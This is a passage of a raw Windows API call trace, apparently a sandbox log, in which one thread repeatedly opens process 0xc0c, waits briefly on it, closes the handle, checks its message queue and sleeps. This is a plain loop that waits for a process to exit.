[0243.432] CloseHandle (hObject=0x5a4) returned 1 [0243.432] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.432] Sleep (dwMilliseconds=0x1) [0243.448] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.448] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.463] CloseHandle (hObject=0x5a4) returned 1 [0243.463] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.463] Sleep (dwMilliseconds=0x1) [0243.478] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.478] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.494] CloseHandle (hObject=0x5a4) returned 1 [0243.494] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.494] Sleep (dwMilliseconds=0x1) [0243.510] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.510] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.525] CloseHandle (hObject=0x5a4) returned 1 [0243.525] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.525] Sleep (dwMilliseconds=0x1) [0243.541] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.541] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.556] CloseHandle (hObject=0x5a4) returned 1 [0243.557] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.557] Sleep (dwMilliseconds=0x1) [0243.573] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.573] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.588] CloseHandle (hObject=0x5a4) returned 1 [0243.588] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.588] Sleep (dwMilliseconds=0x1) [0243.603] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b0 [0243.603] WaitForSingleObject (hHandle=0x5b0, dwMilliseconds=0xa) returned 0x102 [0243.625] CloseHandle (hObject=0x5b0) returned 1 [0243.625] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.625] Sleep (dwMilliseconds=0x1) [0243.635] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b0 [0243.635] WaitForSingleObject (hHandle=0x5b0, dwMilliseconds=0xa) returned 0x102 [0243.650] CloseHandle (hObject=0x5b0) returned 1 [0243.650] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.650] Sleep (dwMilliseconds=0x1) [0243.666] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b0 [0243.666] WaitForSingleObject (hHandle=0x5b0, dwMilliseconds=0xa) returned 0x102 [0243.683] CloseHandle (hObject=0x5b0) returned 1 [0243.683] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.683] Sleep (dwMilliseconds=0x1) [0243.697] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8 [0243.697] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0xa) returned 0x102 [0243.713] CloseHandle (hObject=0x5b8) returned 1 [0243.713] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.713] Sleep (dwMilliseconds=0x1) [0243.728] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8 [0243.728] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0xa) returned 0x102 [0243.747] CloseHandle (hObject=0x5b8) returned 1 [0243.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.747] Sleep (dwMilliseconds=0x1) [0243.760] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8 [0243.760] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0xa) returned 0x102 [0243.776] CloseHandle (hObject=0x5b8) returned 1 [0243.776] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.776] Sleep (dwMilliseconds=0x1) [0243.791] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8 [0243.791] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0xa) returned 0x102 [0243.812] CloseHandle (hObject=0x5b8) returned 1 [0243.813] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.813] Sleep (dwMilliseconds=0x1) [0243.822] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8 [0243.822] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0xa) returned 0x102 [0243.838] CloseHandle (hObject=0x5b8) returned 1 [0243.838] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.838] Sleep (dwMilliseconds=0x1) [0243.853] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8 [0243.853] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0xa) returned 0x102 [0243.869] CloseHandle (hObject=0x5b8) returned 1 [0243.869] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.869] Sleep (dwMilliseconds=0x1) [0243.894] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8 [0243.894] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0xa) returned 0x102 [0243.900] CloseHandle (hObject=0x5b8) returned 1 [0243.900] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.900] Sleep (dwMilliseconds=0x1) [0243.916] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8 [0243.916] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0xa) returned 0x102 [0243.938] CloseHandle (hObject=0x5b8) returned 1 [0243.938] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.938] Sleep (dwMilliseconds=0x1) [0243.947] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8 [0243.947] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0xa) returned 0x102 [0243.963] CloseHandle (hObject=0x5b8) returned 1 [0243.963] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.963] Sleep (dwMilliseconds=0x1) [0243.978] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c8 [0243.978] WaitForSingleObject (hHandle=0x5c8, dwMilliseconds=0xa) returned 0x102 [0243.994] CloseHandle (hObject=0x5c8) returned 1 [0243.994] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.994] Sleep (dwMilliseconds=0x1) [0244.012] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5d0 [0244.012] WaitForSingleObject (hHandle=0x5d0, dwMilliseconds=0xa) returned 0x102 [0244.026] CloseHandle (hObject=0x5d0) returned 1 [0244.026] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.026] Sleep (dwMilliseconds=0x1) [0244.041] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5d0 [0244.041] WaitForSingleObject (hHandle=0x5d0, dwMilliseconds=0xa) returned 0x102 [0244.057] CloseHandle (hObject=0x5d0) returned 1 [0244.057] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.057] Sleep (dwMilliseconds=0x1) [0244.088] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5d4 [0244.088] WaitForSingleObject (hHandle=0x5d4, dwMilliseconds=0xa) returned 0x102 [0244.103] CloseHandle (hObject=0x5d4) returned 1 [0244.103] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.103] Sleep (dwMilliseconds=0x1) [0244.119] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5d4 [0244.119] WaitForSingleObject (hHandle=0x5d4, dwMilliseconds=0xa) returned 0x102 [0244.135] CloseHandle (hObject=0x5d4) returned 1 [0244.135] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.135] Sleep (dwMilliseconds=0x1) [0244.153] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5d8 [0244.153] WaitForSingleObject (hHandle=0x5d8, dwMilliseconds=0xa) returned 0x102 [0244.166] CloseHandle (hObject=0x5d8) returned 1 [0244.166] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.166] Sleep (dwMilliseconds=0x1) [0244.183] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5dc [0244.183] WaitForSingleObject (hHandle=0x5dc, dwMilliseconds=0xa) returned 0x102 [0244.197] CloseHandle (hObject=0x5dc) returned 1 [0244.197] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.197] Sleep (dwMilliseconds=0x1) [0244.213] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e0 [0244.213] WaitForSingleObject (hHandle=0x5e0, dwMilliseconds=0xa) returned 0x102 [0244.228] CloseHandle (hObject=0x5e0) returned 1 [0244.229] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.229] Sleep (dwMilliseconds=0x1) [0244.244] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e0 [0244.244] WaitForSingleObject (hHandle=0x5e0, dwMilliseconds=0xa) returned 0x102 [0244.260] CloseHandle (hObject=0x5e0) returned 1 [0244.260] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.260] Sleep (dwMilliseconds=0x1) [0244.275] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e0 [0244.275] WaitForSingleObject (hHandle=0x5e0, dwMilliseconds=0xa) returned 0x102 [0244.291] CloseHandle (hObject=0x5e0) returned 1 [0244.291] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.291] Sleep (dwMilliseconds=0x1) [0244.307] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.307] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.322] CloseHandle (hObject=0x5e4) returned 1 [0244.322] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.322] Sleep (dwMilliseconds=0x1) [0244.340] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.340] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.355] CloseHandle (hObject=0x5e4) returned 1 [0244.355] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.355] Sleep (dwMilliseconds=0x1) [0244.382] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.382] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.387] CloseHandle (hObject=0x5e4) returned 1 [0244.387] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.387] Sleep (dwMilliseconds=0x1) [0244.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.402] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.416] CloseHandle (hObject=0x5e4) returned 1 [0244.416] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.416] Sleep (dwMilliseconds=0x1) [0244.432] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.432] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.447] CloseHandle (hObject=0x5e4) returned 1 [0244.447] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.447] Sleep (dwMilliseconds=0x1) [0244.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.465] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.479] CloseHandle (hObject=0x5e4) returned 1 [0244.479] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.479] Sleep (dwMilliseconds=0x1) [0244.494] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.494] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.510] CloseHandle (hObject=0x5e4) returned 1 [0244.510] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.510] Sleep (dwMilliseconds=0x1) [0244.525] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.525] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.541] CloseHandle (hObject=0x5e4) returned 1 [0244.541] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.541] Sleep (dwMilliseconds=0x1) [0244.557] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.557] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.572] CloseHandle (hObject=0x5e4) returned 1 [0244.572] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.573] Sleep (dwMilliseconds=0x1) [0244.588] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.588] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.604] CloseHandle (hObject=0x5e4) returned 1 [0244.604] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.604] Sleep (dwMilliseconds=0x1) [0244.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.607] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.617] CloseHandle (hObject=0x5e4) returned 1 [0244.618] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.618] Sleep (dwMilliseconds=0x1) [0244.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.621] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.632] CloseHandle (hObject=0x5e4) returned 1 [0244.632] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.632] Sleep (dwMilliseconds=0x1) [0244.634] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.634] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.645] CloseHandle (hObject=0x5e4) returned 1 [0244.645] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.645] Sleep (dwMilliseconds=0x1) [0244.646] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.646] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.664] CloseHandle (hObject=0x5e4) returned 1 [0244.664] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.664] Sleep (dwMilliseconds=0x1) [0244.679] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.679] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.695] CloseHandle (hObject=0x5e4) returned 1 [0244.695] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.695] Sleep (dwMilliseconds=0x1) [0244.710] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.710] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.726] CloseHandle (hObject=0x5e4) returned 1 [0244.726] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.726] Sleep (dwMilliseconds=0x1) [0244.742] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.742] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.757] CloseHandle (hObject=0x5e4) returned 1 [0244.757] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.757] Sleep (dwMilliseconds=0x1) [0244.773] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.773] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.790] CloseHandle (hObject=0x5e4) returned 1 [0244.790] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.790] Sleep (dwMilliseconds=0x1) [0244.804] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.804] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.820] CloseHandle (hObject=0x5e4) returned 1 [0244.820] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.820] Sleep (dwMilliseconds=0x1) [0244.836] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.836] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.851] CloseHandle (hObject=0x5e4) returned 1 [0244.851] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.851] Sleep (dwMilliseconds=0x1) [0244.867] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.867] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.883] CloseHandle (hObject=0x5e4) returned 1 [0244.883] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.883] Sleep (dwMilliseconds=0x1) [0244.901] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.901] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.914] CloseHandle (hObject=0x5e4) returned 1 [0244.914] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.914] Sleep (dwMilliseconds=0x1) [0244.929] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.929] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.945] CloseHandle (hObject=0x5e4) returned 1 [0244.945] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.945] Sleep (dwMilliseconds=0x1) [0244.961] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e4 [0244.961] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0xa) returned 0x102 [0244.976] CloseHandle (hObject=0x5e4) returned 1 [0244.976] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0244.976] Sleep (dwMilliseconds=0x1) [0244.992] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5e8 [0244.992] WaitForSingleObject (hHandle=0x5e8, dwMilliseconds=0xa) returned 0x102 [0245.010] CloseHandle (hObject=0x5e8) returned 1 [0245.010] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.010] Sleep (dwMilliseconds=0x1) [0245.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5f8 [0245.023] WaitForSingleObject (hHandle=0x5f8, dwMilliseconds=0xa) returned 0x102 [0245.044] CloseHandle (hObject=0x5f8) returned 1 [0245.044] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.044] Sleep (dwMilliseconds=0x1) [0245.054] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x604 [0245.054] WaitForSingleObject (hHandle=0x604, dwMilliseconds=0xa) returned 0x102 [0245.070] CloseHandle (hObject=0x604) returned 1 [0245.070] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.070] Sleep (dwMilliseconds=0x1) [0245.085] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x604 [0245.086] WaitForSingleObject (hHandle=0x604, dwMilliseconds=0xa) returned 0x102 [0245.101] CloseHandle (hObject=0x604) returned 1 [0245.101] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.101] Sleep (dwMilliseconds=0x1) [0245.117] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x604 [0245.117] WaitForSingleObject (hHandle=0x604, dwMilliseconds=0xa) returned 0x102 [0245.132] CloseHandle (hObject=0x604) returned 1 [0245.132] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.132] Sleep (dwMilliseconds=0x1) [0245.148] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x60c [0245.148] WaitForSingleObject (hHandle=0x60c, dwMilliseconds=0xa) returned 0x102 [0245.163] CloseHandle (hObject=0x60c) returned 1 [0245.163] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.163] Sleep (dwMilliseconds=0x1) [0245.180] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x610 [0245.180] WaitForSingleObject (hHandle=0x610, dwMilliseconds=0xa) returned 0x102 